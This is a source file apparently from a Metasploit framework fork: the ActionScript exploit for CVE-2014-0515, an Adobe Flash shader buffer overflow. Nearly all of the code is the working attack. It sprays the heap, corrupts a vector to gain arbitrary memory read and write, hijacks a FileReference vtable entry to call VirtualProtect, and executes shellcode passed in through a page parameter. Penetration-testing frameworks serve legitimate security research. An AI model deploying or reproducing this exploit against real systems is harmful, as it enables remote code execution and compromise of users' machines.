PageRenderTime 44ms CodeModel.GetById 18ms RepoModel.GetById 1ms app.codeStats 0ms

/external/source/exploits/CVE-2014-0515/Graph.as

https://github.com/Jonono2/metasploit-framework
ActionScript | 411 lines | 353 code | 30 blank | 28 comment | 80 complexity | 003f8396c81b8ef7750d17a228b97b83 MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, GPL-3.0, LGPL-2.1, GPL-2.0
  1. //compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf
  2. package {
  3. import flash.display.Sprite;
  4. import flash.utils.ByteArray;
  5. import flash.display.Shader;
  6. import flash.system.Capabilities;
  7. import flash.net.FileReference;
  8. import flash.utils.Endian;
  9. import __AS3__.vec.Vector;
  10. import __AS3__.vec.*;
  11. import flash.display.LoaderInfo;
  12. public class Graph extends Sprite {
  13. static var counter:uint = 0;
  14. protected var Shad:Class;
  15. var shellcode_byte_array:ByteArray;
  16. var aaab:ByteArray;
  17. var shellcodeObj:Array;
  18. public function Graph(){
  19. var tweaked_vector:* = undefined;
  20. var tweaked_vector_address:* = undefined;
  21. var shader:Shader;
  22. var flash_memory_protect:Array;
  23. var code_vectors:Array;
  24. var address_code_vector:uint;
  25. var address_shellcode_byte_array:uint;
  26. this.Shad = Graph_Shad;
  27. super();
  28. shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
  29. var i:* = 0;
  30. var j:* = 0;
  31. // Just one try
  32. counter++;
  33. if (counter > 1)
  34. {
  35. return;
  36. };
  37. // Memory massage
  38. var array_length:uint = 0x10000;
  39. var vector_size:uint = 34;
  40. var array:Array = new Array();
  41. i = 0;
  42. while (i < array_length)
  43. {
  44. array[i] = new Vector.<int>(1);
  45. i++;
  46. };
  47. i = 0;
  48. while (i < array_length)
  49. {
  50. array[i] = new Vector.<int>(vector_size);
  51. i++;
  52. };
  53. i = 0;
  54. while (i < array_length)
  55. {
  56. array[i].length = 0;
  57. i++;
  58. };
  59. i = 0x0200;
  60. while (i < array_length)
  61. {
  62. array[(i - (2 * (j % 2)))].length = 0x0100;
  63. i = (i + 28);
  64. j++;
  65. };
  66. // Overflow and Search for corrupted vector
  67. var corrupted_vector_idx:uint;
  68. var shadba:ByteArray = (new this.Shad() as ByteArray);
  69. shadba.position = 232;
  70. if (Capabilities.os.indexOf("Windows 8") >= 0)
  71. {
  72. shadba.writeUnsignedInt(2472);
  73. };
  74. shadba.position = 0;
  75. while (1)
  76. {
  77. shader = new Shader();
  78. try
  79. {
  80. shader.byteCode = (new this.Shad() as ByteArray);
  81. } catch(e)
  82. {
  83. };
  84. i = 0;
  85. while (i < array_length)
  86. {
  87. if (array[i].length > 0x0100)
  88. {
  89. corrupted_vector_idx = i;
  90. break;
  91. };
  92. i++;
  93. };
  94. if (i != array_length)
  95. {
  96. if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break;
  97. };
  98. array.push(new Vector.<int>(vector_size));
  99. };
  100. // Tweak the vector following the corrupted one
  101. array[corrupted_vector_idx][vector_size] = 0x40000001;
  102. tweaked_vector = array[(corrupted_vector_idx + 1)];
  103. // repair the corrupted vector by restoring its
  104. // vector object pointer and length
  105. var vector_obj_addr:* = tweaked_vector[0x3fffffff];
  106. tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr;
  107. tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size;
  108. i = 0;
  109. var val:uint;
  110. while (true)
  111. {
  112. val = tweaked_vector[(0x40000000 - i)];
  113. if (val == 0x90001B) break;
  114. i++;
  115. };
  116. tweaked_vector_address = 0;
  117. if (tweaked_vector[((0x40000000 - i) - 4)] > 0)
  118. {
  119. tweaked_vector[4] = 0x41414141;
  120. tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8);
  121. };
  122. // More memory massage, fill an array of FileReference objects
  123. var file_reference_array:Array = new Array();
  124. i = 0;
  125. while (i < 64)
  126. {
  127. file_reference_array[i] = new FileReference();
  128. i++;
  129. };
  130. var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address);
  131. var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20));
  132. var do_it:Boolean = true;
  133. var memory_protect_ptr:uint;
  134. var aaaq:uint;
  135. if (do_it)
  136. {
  137. flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address);
  138. memory_protect_ptr = flash_memory_protect[0];
  139. aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment
  140. code_vectors = this.createCodeVectors(0x45454545, 0x90909090);
  141. address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545);
  142. this.fillCodeVectors(code_vectors);
  143. tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call
  144. tweaked_vector[4] = aaaq;
  145. tweaked_vector[0] = 0x1000; // Length
  146. tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address
  147. // 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=????????
  148. this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));
  149. // 1) Set memory as executable
  150. i = 0;
  151. while (i < 64)
  152. {
  153. file_reference_array[i].cancel();
  154. i++;
  155. };
  156. // 2) Execute shellcode
  157. tweaked_vector[7] = address_code_vector;
  158. i = 0;
  159. while (i < 64)
  160. {
  161. file_reference_array[i].cancel();
  162. i++;
  163. };
  164. // Restore FileReference cancel function pointer
  165. // Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads
  166. this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address);
  167. };
  168. }
  169. // returns the integer at memory address
  170. // vector: vector with tweaked length
  171. // vector_address: vector's memory address
  172. // address: memory address to read
  173. function read_memory(vector:Vector.<int>, vector_address:uint, address:uint):uint{
  174. if (address >= vector_address)
  175. {
  176. return (vector[((address - vector_address) / 4)]);
  177. };
  178. return (vector[(0x40000000 - ((vector_address - address) / 4))]);
  179. }
  180. function write_memory(vector:Vector.<int>, vector_address:uint, address:uint, value:uint){
  181. if (address >= vector_address)
  182. {
  183. vector[((address - vector_address) / 4)] = value;
  184. } else
  185. {
  186. vector[(0x40000000 - ((vector_address - address) / 4))] = value;
  187. };
  188. }
  189. function findFlashMemoryProtect(vector:*, vector_address:*):Array{
  190. var content:uint;
  191. var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
  192. var index:uint;
  193. var memory_protect_ptr:uint;
  194. var _local_6:uint;
  195. if (allocation >= vector_address)
  196. {
  197. index = ((allocation - vector_address) / 4);
  198. } else
  199. {
  200. index = (0x40000000 - ((vector_address - allocation) / 4));
  201. };
  202. //push 1 ; 6a 01
  203. //push dword ptr [eax-8] ; ff 70 f8
  204. //push dword ptr [eax-4] ; ff 70 fc
  205. //call sub_1059DD00 // Will do VirtualProtect
  206. var offset:uint;
  207. while (1)
  208. {
  209. index--;
  210. content = vector[index];
  211. if (content == 0xfff870ff)
  212. {
  213. offset = 2;
  214. break;
  215. };
  216. if (content == 0xf870ff01)
  217. {
  218. offset = 1;
  219. break;
  220. };
  221. if (content == 0x70ff016a)
  222. {
  223. content = vector[(index + 1)];
  224. if (content == 0xfc70fff8)
  225. {
  226. offset = 0;
  227. break;
  228. };
  229. } else
  230. {
  231. if (content == 0x70fff870)
  232. {
  233. offset = 3;
  234. break;
  235. };
  236. };
  237. };
  238. memory_protect_ptr = ((vector_address + (4 * index)) - offset);
  239. index--;
  240. var content_before:uint = vector[index];
  241. if (content_before == 0x16a0424)
  242. {
  243. return ([memory_protect_ptr, _local_6]);
  244. };
  245. if (content_before == 0x6a042444)
  246. {
  247. return ([memory_protect_ptr, _local_6]);
  248. };
  249. if (content_before == 0x424448b)
  250. {
  251. return ([memory_protect_ptr, _local_6]);
  252. };
  253. if (content_before == 0xff016a04)
  254. {
  255. return ([memory_protect_ptr, _local_6]);
  256. };
  257. _local_6 = (memory_protect_ptr - 6);
  258. while (1)
  259. {
  260. index--;
  261. content = vector[index];
  262. if (content == 0x850ff50)
  263. {
  264. if (uint(vector[(index + 1)]) == 0x5e0cc483)
  265. {
  266. offset = 0;
  267. break;
  268. };
  269. };
  270. content = (content & 0xFFFFFF00);
  271. if (content == 0x50FF5000)
  272. {
  273. if (uint(vector[(index + 1)]) == 0xcc48308)
  274. {
  275. offset = 1;
  276. break;
  277. };
  278. };
  279. content = (content & 0xFFFF0000);
  280. if (content == 0xFF500000)
  281. {
  282. if (uint(vector[(index + 1)]) == 0xc4830850)
  283. {
  284. if (uint(vector[(index + 2)]) == 0xc35d5e0c)
  285. {
  286. offset = 2;
  287. break;
  288. };
  289. };
  290. };
  291. content = (content & 0xFF000000);
  292. if (content == 0x50000000)
  293. {
  294. if (uint(vector[(index + 1)]) == 0x830850ff)
  295. {
  296. if (uint(vector[(index + 2)]) == 0x5d5e0cc4)
  297. {
  298. offset = 3;
  299. break;
  300. };
  301. };
  302. };
  303. };
  304. memory_protect_ptr = ((vector_address + (4 * index)) + offset);
  305. return ([memory_protect_ptr, _local_6]);
  306. }
  307. // vector: vector with tweaked length
  308. // address: memory address of vector data
  309. function find_file_ref_vtable(vector:*, address:*):uint{
  310. var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));
  311. // Find an allocation of size 0x2a0
  312. var allocation_size:uint;
  313. while (true)
  314. {
  315. allocation_size = this.read_memory(vector, address, (allocation + 8));
  316. if (allocation_size == 0x2a0) break;
  317. if (allocation_size < 0x2a0)
  318. {
  319. allocation = (allocation + 0x24); // next allocation
  320. } else
  321. {
  322. allocation = (allocation - 0x24); // prior allocation
  323. };
  324. };
  325. var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc));
  326. while (true)
  327. {
  328. if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;
  329. if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;
  330. allocation_contents = this.read_memory(vector, address, (allocation_contents + 8));
  331. };
  332. return (allocation_contents);
  333. }
  334. // Returns pointer to the nops in one of the allocated code vectors
  335. function findCodeVector(vector:*, vector_address:*, mark:*):uint{
  336. var allocation_size:uint;
  337. var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
  338. while (true)
  339. {
  340. allocation_size = this.read_memory(vector, vector_address, (allocation + 8));
  341. if (allocation_size == 0x7f0) break; // Code Vector found
  342. allocation = (allocation + 0x24); // next allocation
  343. };
  344. // allocation contents should be the vector code, search for the mark 0x45454545
  345. var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc));
  346. while (true)
  347. {
  348. if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break;
  349. allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation
  350. };
  351. return ((allocation_contents + 0x2c));
  352. }
  353. // create 8 vectors of size 0x7f0 inside an array to place shellcode
  354. function createCodeVectors(mark:uint, nops:uint){
  355. var code_vectors_array:Array = new Array();
  356. var i:* = 0;
  357. while (i < 8)
  358. {
  359. code_vectors_array[i] = new Vector.<uint>(((0x7f0 / 4) - 8)); // new Vector.<uint>(0x1f4)
  360. code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4
  361. code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4
  362. i++;
  363. };
  364. return (code_vectors_array);
  365. }
  366. // Fill with the code vectors with the shellcode
  367. function fillCodeVectors(array_code_vectors:Array) {
  368. var i:uint = 0;
  369. var sh:uint=1;
  370. while(i < array_code_vectors.length)
  371. {
  372. for(var u:String in shellcodeObj)
  373. {
  374. array_code_vectors[i][sh++] = Number(shellcodeObj[u]);
  375. }
  376. i++;
  377. sh = 1;
  378. }
  379. }
  380. }
  381. }//package